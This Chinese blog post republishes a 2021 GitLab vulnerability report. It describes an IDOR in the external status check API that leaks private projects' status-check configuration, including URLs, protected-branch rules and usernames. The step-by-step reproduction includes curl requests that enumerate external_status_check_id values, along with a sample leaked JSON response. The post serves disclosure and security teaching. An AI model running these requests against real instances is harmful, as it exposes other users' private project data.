gitlab漏洞系列-“外部状态检查”API泄漏关于实例的状态检查的数据
gitlab漏洞系列-“外部状态检查”API泄漏关于实例的状态检查的数据
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
这个漏洞是joaxcar小哥在2021年10月份提交的:
用于从外部状态检查返回批准的API接口包含一个IDOR,该IDOR允许用户列出关于GitLab实例上所有外部状态检查的信息。该功能是一个终极版功能(注:终极版一般都是付费的),但可以在GitLab.com上试用。所以攻击的是可能是一个常规帐户。
当配置了外部状态检查时,项目将向指定的端点发送关于MRs的信息。然后可以配置这个端点来响应“通过”状态检查的请求。文档详见: https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html;这个API的接口是:
POST /projects/:id/merge_requests/:merge_request_iid/status_check_responses
关键参数为sha和external_status_check_id。这个参数告诉GitLab请求的目标是哪个外部状态检查。从GitLab返回的是JSON,包含关于MR的信息,但也包含关于状态检查配置的信息。通过修改发送的ID,用户可以获得实例上任何状态检查的信息(甚至来自Private的项目)。
关于状态检查的泄露信息可能包含:
私有项目名称和ID
状态检查名称
私有地址到外部状态检查工具
状态检查所连接的受保护分支的名称、ID
受保护分支的访问规则,如果配置了,还可以访问允许访问的用户名
"external_status_check": {
"id": 10,
"name": "Name of status check",
"project_id": 33,
"external_url": "https://victim.service.com",
"protected_branches": [
{
"id": 24,
"name": "Name of protected branch",
"push_access_levels": [
{
"access_level": 40,
"access_level_description": "Name of user with access to protected branch",
"user_id": 2,
"group_id": null
},
{
"access_level": 30,
"access_level_description": "Developers + Maintainers",
"user_id": null,
"group_id": null
}
],
"merge_access_levels": [
{
"access_level": 30,
"access_level_description": "Developers + Maintainers",
"user_id": null,
"group_id": null
},
{
"access_level": 40,
"access_level_description": "Name of user with access",
"user_id": 2,
"group_id": null
}
],
"allow_force_push": true,
"unprotect_access_levels": [],
"code_owner_approval_required": true
}
复现步骤
1.创建两个用户:受害用户victim01和攻击用户attacker01
2.以victim01的身份登录,并在https://gitlab.domain.com/projects/new#blank_project上创建一个名为victim_project的新私有项目
3.转到项目设置https://gitlab.domain.com/victim01/victim_project/edit,在“General”下展开“Merge request”。向下滚动到“状态检查”,然后单击“新建”
4.将状态检查命名为“受害者状态检查”,并输入API端点https://victim.hidden.com。
5.点击保存
6.登出并以attacker01登陆
7.再次执行步骤2到5,但将项目命名为attacker_project并进行状态检查。记下项目的ID。我们称之为attackid
8.在 https://gitlab.domain.com/attacker01/attacker_project/-/branches/new创建分支attacker_project
9.当分支被创建时,点击Create new merge request。将MR随意命名并单击创建。
10.访问https://gitlab.domain.com/-/profile/personal_access_tokens并为attacker01创建一个访问令牌,我们将其称为TOKEN
11.打开终端并发出此请求(这里的SHA只是“a”,我们将得到正确的响应)
curl --request POST \
--url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=a&external_status_check_id=2' \
--header 'Authorization: Bearer <TOKEN>'
12.这个初始请求将返回一个错误,主要是返回正确的sha是< sha >这样的信息
13.现在发送正确的SHA:
curl --request POST \
--url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=2' \
--header 'Authorization: Bearer <TOKEN>'
14.我们将得到一个响应,其中包含关于MR的信息,最后是关于状态检查的信息
15.现在再次发送相同的请求,但将状态检查id更改为1
curl --request POST \
--url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=1' \
--header 'Authorization: Bearer <TOKEN>'
16.同样的MR信息会被返回,但是最后会有来自victim_project的关于私有状态检查的信息
作者:richardo1o1
欢迎关注微信公众号 :迪哥讲事